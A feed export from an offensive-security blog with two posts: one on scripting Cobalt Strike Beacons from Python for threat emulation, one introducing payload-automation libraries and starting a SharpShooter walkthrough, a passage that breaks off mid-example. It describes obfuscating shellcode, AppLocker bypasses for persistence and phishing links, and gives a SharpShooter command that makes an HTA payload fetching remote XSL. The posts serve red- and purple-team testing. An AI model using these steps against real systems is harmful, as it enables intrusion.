tag:blogger.com,1999:blog-81767924504711161292024-02-19T05:29:47.227-06:00Red XOR BlueOffensive or defensive infosec, but not both.BinaryFaultlinehttp://www.blogger.com/profile/15007190596204655011noreply@blogger.comBlogger15125tag:blogger.com,1999:blog-8176792450471116129.post-3743150801048643862022-06-17T14:43:00.012-05:002022-06-17T19:48:20.787-05:00Automating Cobalt Strike with Python<span id="docs-internal-guid-f02e40da-7fff-7b91-e71a-d5f9a440810d"><h1 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 20pt;"><span style="font-family: Arial; font-size: 20pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">TL;DR</span></h1><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">I have expanded the payload_automation Python libraries to allow for</span><span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> synchronously</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> controlling actions in a Cobalt Strike Beacon by adding the Beacon class. This enables you to script out Cobalt Strike actions purely in Python and avoid coding anything in Sleep completely (at least for things I’ve already implemented). </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">One important fact to take note of is that the actions happen synchronously. Those who have worked in Sleep/Aggressor know that it’s a fire and forget language in most cases, so waiting until an action is completed or adding logic based on the results of an action is notoriously difficult to accomplish. With this library, we can synchronize the actions and in most cases, easily capture the output of a specific action in Python and perform actions based on that output. This is a big step in simplifying the automation of Cobalt Strike Beacons and gives way for many different applications. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">As an example of how this can be leveraged, I wrote a Threat Runner Python script which can take a SCYTHE Threat in JSON format and execute the actions through a Cobalt Strike Beacon. </span></p><h1 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 20pt;"><span style="font-family: Arial; font-size: 20pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">A Quick Recap of the Payload Automation Libraries</span></h1><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Back in June of 2021, I wrote a blog post (</span><a href="https://blog.redxorblue.com/2021/06/introducing-striker-and-payload.html" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">https://blog.redxorblue.com/2021/06/introducing-striker-and-payload.html</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">) to accompany the release of the Payload Automation libraries. As always, I owe a lot to <a href="https://twitter.com/Mcgigglez16">@Mcgigglez16</a> who helped me develop and helps me maintain these libraries. I am always learning new things from him and he helps make sure that the code doesn't suck. At the time, those libraries lived up to their name and helped me automate all sorts of payloads for testing and for my team. Since then, we have worked to expand these libraries to go a bit beyond the scope defined by the name, and started to provide functions to help automate other things in Cobalt Strike, such as reporting and Beacon actions. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">To quickly recap the approach taken to automate most of this, we leveraged Python’s pexpect library to control the execution of the Cobalt Strike headless Aggressor process, and send data to Aggressor and capture the output. This allows us to use pexpect like a Python wrapper for Cobalt Strike. With this, we can execute nearly any Sleep function from Python and get the output back in Python for processing. The general idea of this approach came from the code of Verizon’s RedShell. We were also not the first to integrate Python and Sleep, as PyCobalt took tremendous steps in this direction, but we took a different approach where we call Sleep from Python, and PyCobalt goes the other direction, calling Python from Sleep. Both have their advantages and overall PyCobalt is another project definitely worth checking out and leveraging where it works best for you.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial;"><span style="font-size: 14.6667px; white-space: pre-wrap;">You can always grab the latest version of the libraries here: <a href="https://github.com/emcghee/PayloadAutomation">https://github.com/emcghee/PayloadAutomation</a></span></span></p><h1 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 20pt;"><span style="font-family: Arial; font-size: 20pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">Red Team Automation Tooling</span></h1><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">In the past 5-10 years, Red Team Automation tooling has been on the rise, and more and more organizations are leveraging this type of tooling for Red Teaming and Purple Teaming.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">I’m personally a huge fan of automation and look to automate everything that I can. “If it’s worth doing once, it’s worth automating,” that’s what I always say. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">I understand the push back against automation in the Red Teaming space. Red Teaming is very much an approach or a mindset to bring to a situation and isn’t always just a technical thing to be performed. The human element in Red Teaming is very important and finding a novel approach to a problem or defense isn’t something that can be automated (yet…).</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">But Red Teaming also can involve threat emulation and sometimes those emulations are based on well known details. Those details can come from personal experiences of the operator, Threat Intelligence sources, previous findings, insider knowledge, or any other source, but the details and approaches can often be mapped out decently in advance. This presents an opportunity for partial or full automation of an attack or attack path. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">I believe that value comes from automating some of these threats to make the attacks repeatable. This gives an organization the opportunity to compare various controls against an attack, allowing for a baseline to compare potential or actual changes against. If you are hit by nearly the same or the exact same attack 6 months later, do your controls hold up the same, or do they get better or worse? This is a hard question to answer when the attacks are not automated. A lot of variables come into play which can skew the results to that question. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">I don’t believe that Red Teaming should ever be “alert validation,” but I do think there is value in being able to regularly repeat attacks, and validate that alerts are firing as intended. This sounds contradictory, but what I mean by that is that Red/Purple Teams should not aim to trigger alerts and make them fire to validate the alert, but they should be able to repeat an attack in the same way, and help confirm that an alert, which was expected to catch that attack, did fire appropriately. To many, this is a subtle difference, but it is a very important difference</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Automation also gives defenders the ability to replay attacks against the network for training opportunities or the opportunity for another analyst to work the same situation. If Analyst A passed on an alert, how do we know if the issue is the technology, the people, or the process, until we have given Analyst B the opportunity to work a similar alert? By being able to replay attacks, we can give multiple analysts an opportunity to work the same types of events and gain data points about the entire make-up of a SOC, people, processes, and technology, to determine areas of common weakness, and come up with focused points of improvement.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Certain tools have come up in the industry to meet such a need. Below are some examples:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"></p><ul style="text-align: left;"><li><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><a href="https://atomicredteam.io/">Atomic Red Team Framework</a></span></li><li><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><a href="https://caldera.mitre.org/">Caldera</a></span></li><li><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><a href="https://www.mandiant.com/advantage/security-validation">Mandiant Security Validation</a> (previously Verodin)</span></li><li><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><a href="https://www.scythe.io/">SCYTHE</a></span></li><li><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><a href="https://www.prelude.org/">Prelude’s Operator</a></span></li></ul><p></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Each of these tools have their benefits and drawbacks. Some are free, but somewhat complex to set up and maintain. Others are simple to set up, but light up EDRs like a Christmas Tree or require allow-listing with EDR tools. </span></p><h1 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 20pt;"><span style="font-family: Arial; font-size: 20pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">Sleep and Aggressor Challenges</span></h1><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">One tool that does not show up on this list is Cobalt Strike. Although Cobalt Strike does have a built-in scripting engine called Aggressor, which is far better than most other C2 tools, it was intended to be a manual tool for Red Team operators. Aggressor is built on a language called Sleep, which is a Java-based scripting language written by Raphael Mudge. Aggressor handles nearly everything asynchronously, meaning that if I run a function that performs an action, my next function will run before that action completes. This really makes automating a C2 tool hard. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Imagine that you are emulating a fairly sophisticated attacker in a production environment and your beacon first checks in at 2pm on a Friday. The attacker you are simulating operates with 1 hour callbacks. You could use Sleep to execute actions every hour and between each action, well… sleeping your automation script. Works great for 1-3 hours while the person is still signed online, one action per hour, great OPSEC. Then the person closes down their computer for the weekend and the beacon doesn’t check back in until 8am on Monday. What happened to your automation and OPSEC. All of a sudden, that beacon has 40 commands queued up to execute all at once. If you are up against any sort of behavioral monitoring solution or if you trip an alert and the defender is looking at the surrounding activity, everything is blown and you just emulated a much weaker adversary. This is a big challenge with working in an asynchronous language. If we could synchronize the actions, then each action would not be queued and executed in the Beacon until the previous action was completed. This allows you to maintain the pace of the actual adversary you are attempting to emulate while still automating the actions.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Another challenge working in Sleep is command output. Only two current Beacon API calls have callbacks, which is the ability to provide a function to execute at the end of the action. The two which have callbacks are bls() and bps(), and these have callbacks to support the UI in Cobalt Strike. Every other Beacon API call just tells the Cobalt Strike server to tell the Beacon to do something. It doesn’t provide you a way to get the results of the action you just told it to execute. No callback, no return value, nothing. Just fire and forget.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">If you want the output of the command you just executed, you need to subscribe to the expected event, hope that you get the right event you are looking for, then parse the text output. One example would be running bexecute_assembly() to run Seatbelt on a host, then using `on beacon_output {}` to capture the output. But what happens if the output spans multiple callbacks, or a different beacon has some output from a different command, or Seatbelt fails because you messed up the path and it goes to beacon_error instead of beacon_output? What if you need to do something on the first beacon_output, but need to do something completely different on the next beacon_output? Aggressor does not support clearing or overriding the code set for events, it only appends your code to any previous sets for event listeners. All of these would quickly break nearly any Sleep automation script unless it was painstakingly built. Trust me, I’ve had to handle all of these situations with automation in Sleep and they are not fun. </span></p><h1 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 20pt;"><span style="font-family: Arial; font-size: 20pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">Adding the Beacon Class</span></h1><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">To solve many of these issues, I sat down and tried to tackle the problem with Python, by adding a Beacon class to the Payload Automation libraries. This class tracks data about the Beacon, command, result, and output history, and metadata. It gives every task a unique identifier as well, to make reporting easier. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="border: none; display: inline-block; height: 225px; overflow: hidden; width: 624px;"><img height="225" src="https://lh5.googleusercontent.com/Vjv3DHW3OJRVwQI3NSmW4nwCAoWTxfU7YTQSQb49zUNegVtP6sb6n6xBhOSqDXOxk3nJAvPfk-hLcbnOCoTV4QdmW0BSi_kM3kezOvhrQCdJAKHrzups6aFv6o_siPnRINFdciXQ_DA4tuZLdQ" style="margin-left: 0px; margin-top: 0px;" width="624" /></span></span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">With this class, I was able to start to synchronize actions in a Beacon and solve most of the issues that I ran into with Sleep. The next couple of sections will cover my approach to solving those issues.</span></p><h1 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 20pt;"><span style="font-family: Arial; font-size: 20pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">Secret Ingredients: bclear() and regex, so much regex</span></h1><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">My approach to synchronize the actions in a Beacon was two-fold. First, I would clear the activity in a Beacon with the bclear() API call. This helped to ensure that only my intended action would be executed, so that I get the output that I’m expecting, and not some other output. This is fairly critical for the next step.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Secondly, I used regex with pexpect and an event listener that targeted output specifically from my beacon. I know what you must be thinking, “You just said event listeners are bad because you can’t override previous event listeners, only append to them.” This is true, but only true per script instance. If I disconnect the Aggressor client, my event listeners are cleared. This is terrible when you have to work in the UI, but not an issue when in pure Python. This just means I have to kill my current Java Aggressor client process with the first event listener and spawn a new one and connect again. The old event listener dies with the old process, and the new one is safe to run and catch the next output. This makes it easy to do whatever we want with each output.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">There is at least one downside to this approach: RIP my Event Log…:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="border: none; display: inline-block; height: 164px; overflow: hidden; width: 624px;"><img height="164" src="https://lh4.googleusercontent.com/4tAk5VrtsXbp8g3yakFxqBcOOc7wV_lgDp0CIxGMXM9732klsum5B62dtbYyH8Geqe7sie7j9UruGZsHt619W9UXT6Z9Rq2LLD70AHWqb3XWVvgsfVmLgOx5VjI_Kn840uifaM96beo6ny2BVw" style="margin-left: 0px; margin-top: 0px;" width="624" /></span></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Since I need to connect so often, the Event Log is just crushed. I highly recommend a Team Server dedicated to automation if you are using these libraries.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Once I am able to get the output for a specific command that I executed, I can then start to define success/failure criteria. To do this, I allow each function to provide some regex values which can help determine if a command succeeded or failed. If nothing is provided and there are no defaults for that function, then it is assumed successful.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">With the output from commands available directly in Python, you can start to process that data in Python as well and make logic decisions based on the results of a previous command. In this screenshot, I was able to use PowerShell to enumerate the AppLocker policy and create a list of all the valid AppLocker bypasses to select one for my persistence option:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="border: none; display: inline-block; height: 135px; overflow: hidden; width: 624px;"><img height="135" src="https://lh3.googleusercontent.com/UrNPus3fSPU67uSGB_DzlMTz-7KQtTljz5fQLmNdfe3aMjM4FiTRsVUZZHUYnW2jc21gha9HQKew2zEV-XQdsn10loQCxQqOgl-trCapFuGZTCkr6xlU_P48GcdnC2dMivrS5oqS2hUvf2iKfQ" style="margin-left: 0px; margin-top: 0px;" width="624" /></span></span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">To anyone who has worked with Sleep before, it becomes very clear how difficult this would be to implement as part of a larger automation script, but in Python it can be accomplished in just a few fairly simple lines of code.</span></p><h1 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 20pt;"><span style="font-family: Arial; font-size: 20pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">Leveraging the Payload Automation Beacon Class to <br />Build a Threat Runner</span></h1><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Although I have my use cases for these libraries that I use at work, I can’t really share those, so I wanted to come up with a different use-case that would hopefully be helpful to a large audience. This is where I came up with the idea to write a PoC script which can use Cobalt Strike to execute publicly available threat playbooks. Since Cobalt Strike is used by a large number of Threat Actors, I thought it could be helpful to all the Threat Intelligence and Purple Teams out there to be able to get some quick and easy wins from emulating threats with Cobalt Strike. This would likely give the most realistic emulation of any of the tools out there when the actor you are emulating uses the same C2 tools in their attacks, especially if you can get details on their profile configurations.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">I have released a demo of me using the Threat Running Python script to execute the Conti playbook released by SCYTHE as part of their Threat Thursdays. You can check out the demo here: </span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"></p><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/YCw5zH82xRc" width="320" youtube-src-id="YCw5zH82xRc"></iframe></div><p></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><br /></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">And you can play with the code here: <a href="https://github.com/emcghee/PayloadAutomation/blob/master/examples/threat_runner.py">https://github.com/emcghee/PayloadAutomation/blob/master/examples/threat_runner.py</a></span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">It is worth noting that this is truly a PoC runner for this and isn’t thoroughly tested with all of SCYTHE’s available Threats. SCYTHE also has native capabilities that Cobalt Strike doesn’t include, such as SCYTHES file module to create files on disk with random or specific data, or the crypt module for encrypting/decrypting files on the target host. It wouldn’t be overly difficult to duplicate the functionality of these modules with BOFs so that the code and logic for these modules would be client-side and not server-side. I may do that in the future to make this a little less hacky, but currently it is somewhat like I’m emulating their emulation.</span></p><div><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div></span>BinaryFaultlinehttp://www.blogger.com/profile/15007190596204655011noreply@blogger.com0tag:blogger.com,1999:blog-8176792450471116129.post-1852305237950674232021-06-20T15:17:00.001-05:002021-06-20T15:17:32.037-05:00Introducing Striker and the Payload Automation LibrariesTL;DR – Striker, Compyler, Artifactor, Sleepy, and Detemplate are a set of Python libraries we created to help make building custom payloads faster, more consistent, and more OPSEC safe and allow for better IoC tracking during Red Team operations. The libraries can be found on GitHub here: <a href="https://github.com/emcghee/PayloadAutomation">https://github.com/emcghee/PayloadAutomation</a>.
<h2 style="text-align: left;">Introduction</h1>
<div>During an operation, we were creating a custom initial access payload which would execute a Cobalt Strike Beacon. The payload was fairly complex with multiple components coming together and multiple steps to obfuscate the shellcode before embedding it into the payload. During the preparation phase of the operation, we went through multiple profile and listener variations and needed to test our initial access payload with each variation. This meant that I had to go into the GUI for Cobalt Strike, generate the shellcode and save it to a file, manually encrypt and obfuscate it, embed it in my payload, then compile. This process tended to be about 10 minutes to do when I could remember all the steps, or 20-30 when I had to do some troubleshooting or re-look things up.</div><div><br /></div>
<div>To make my life easier and to ensure the team could consistently generate the payloads on their own as needed, I created a set of Python libraries to help with this. Initially the part that I found most cumbersome was the shellcode generation. I had a few options, I could launch the GUI every time, I could write an Aggressor script to write the shellcode to a file or print it to the console and manipulate the data with Bash, or I could do the data manipulation in Sleep (did I mention that I hate Sleep?). The Aggressor scripting route limited me to doing data manipulations in Bash or writing shellcode to a temp file and reading it in with Python, which I wasn’t too happy with. I wanted it all in Python from start to finish so that I can manipulate the shellcode with ease.</div><div><br /></div>
<div>At the time, I didn’t have a great solution until I came across Verizon’s redshell (<a href="https://github.com/Verizon/redshell">https://github.com/Verizon/redshell</a>). Redshell is described as “An interactive command prompt that executes commands through proxychains and automatically logs them on a Cobalt Strike team server.” While looking into the tool, I began to understand how the tool worked and recognized the ingenious of how they connect into a Cobalt Strike team server by proxying execution through the agscript tool provided with Cobalt Strike from Python. This opens up a whole new realm of possibilities by allowing us to pull data from Cobalt Strike in Python.</div><div><br /></div>
<div>We decided to wrap a lot of the connections and calls to Cobalt Strike in a Python class called CSConnection so that you can instantiate the object and all of the connections and calls to the Cobalt Strike team server happen behind the scenes for the user. With this connection, we can generate shellcode and artifacts, send Aggressor script commands, host and unhost files, log events and data to the Event Log, and grabbing event history/data. Striker gave us everything we needed to be able to automate the creation of the source code for our custom payloads.</div><div><br /></div>
<div>We found that often our commands would return Sleep objects in their string format, which was not only ugly but a bit problematic as well. My co-worker added Sleepy to the libraries to gracefully pass and convert Sleep objects into their Python equivalents. This was a huge game changer as you could now manipulate any Sleep object in Python rather than having to do the same manipulations in Sleep.</div><div><br /></div>
<div>To help complete the building process of the custom payloads we also created Artifactor and Compyler. Compyler is currently just a wrapper for Mono to help build C# payloads, but we have plans to expand it to wrap other compilers and build tools.</div><div><br /></div>
<div>Artifactor provides useful functions to help the operator track IoCs during operations as well as perform OPSEC checks in the development process. This includes file hashes, pdb file checks, EXIF data, and more.</div><div><br /></div>
<h2 style="text-align: left;">Walking Through Automating SharpShooter Testing as an Example</h2>
<div>Although the introduction described the libraries as a toolkit for Red Teamers, the example I will walk through might actually be a bit more beneficial from a Purple Team perspective. The way I look at and approach Purple Teaming is by taking known tools and techniques, testing them against an environment, and determining if the tools and techniques work and if they are detected. Being able to quickly repeat this testing for the Blue Team is a critical element of Purple Teaming, so automation is a Purple Teamer’s best friend.</div><div><br /></div>
<div>One set of procedures we could test against our network is using the SharpShooter payloads to execute Cobalt Strike Beacons. SharpShooter is a framework created by the team at MDSec and is described as on their GitHub as “SharpShooter is a payload creation framework for the retrieval and execution of arbitrary CSharp source code. SharpShooter is capable of creating payloads in a variety of formats, including HTA, JS, VBS and WSF.” The framework can be found here: <a href="https://github.com/mdsecactivebreach/SharpShooter">https://github.com/mdsecactivebreach/SharpShooter</a>. Considering both SharpShooter and Cobalt Strike are available to threat actors, this is probably a solid test case for most organizations.</div><div><br /></div>
<div>I will walk through the various parts of this example Python script and talk about the various parts of Striker and Artifactor and how they are leveraged to automate SharpShooter testing. To automate SharpShooter in a typical Purple Team fashion, we will generate the shellcode from Cobalt Strike, execute SharpShooter scripts to generate the payloads, get the hashes of those payloads, record the hashes with Cobalt Strike, and host the payloads, send emails with links to the payloads, then record the IoCs of the email to Cobalt Strike’s Event Log for tracking purposes. It sounds like a lot of things, but is pretty easily accomplished in about 100 lines of Python.</div><div><br /></div>
<h3 style="text-align: left;">Installing the Payload Automation Libraries</h3>
<div>The Payload Automation libraries require Python 3.x and has been tested against Python 3.7 – 3.9. To install the Payload Automation libraries, run the following commands:</div>
<div>
<pre><code class="Bash">% git clone https://github.com/emcghee/PayloadAutomation.git
% cd PayloadAutomation
% python -m pip install .
</code></pre></div>
<div>These steps clone the libraries to your system, then run the setup.py file to install them and make them accessible to your local Python environment. Once installed, these libraries can easily be imported into any Python script.</div><div><br /></div>
<h3 style="text-align: left;">Importing Striker and Artifactor</h3>
<div>The primary function or class in Striker is the CSConnection class. Typically this is all you would need to import from this library to use Striker:</div>
<div>
<pre><code class="Python">from payload_automation.striker import CSConnection
</code></pre></div>
<div>With Artifactor, there is no base class, just a collection of functions, so you would import either the entire library or just the specific functions that you will need for your automation tasks. In the case of testing SharpShooter, we really only need the ‘getHashes’ function so that we can get the hashes of the hosting payloads.
<div>
<pre><code class="Python">from payload_automation.artifactor import getHashes
</code></pre></div>
<div><br /></div>
<h3 style="text-align: left;">Understanding How to Use SharpShooter</h3>
<div>We obviously cannot automate a framework which we don’t understand, so we should first walk through the manual process of what we intend to automate. Taken directly from the README.md file of the SharpShooter repo, we see the command to generate an HTA payload which executes an XLS payload:</div>
<div>
<pre><code class="Bash">% SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
</code></pre></div>
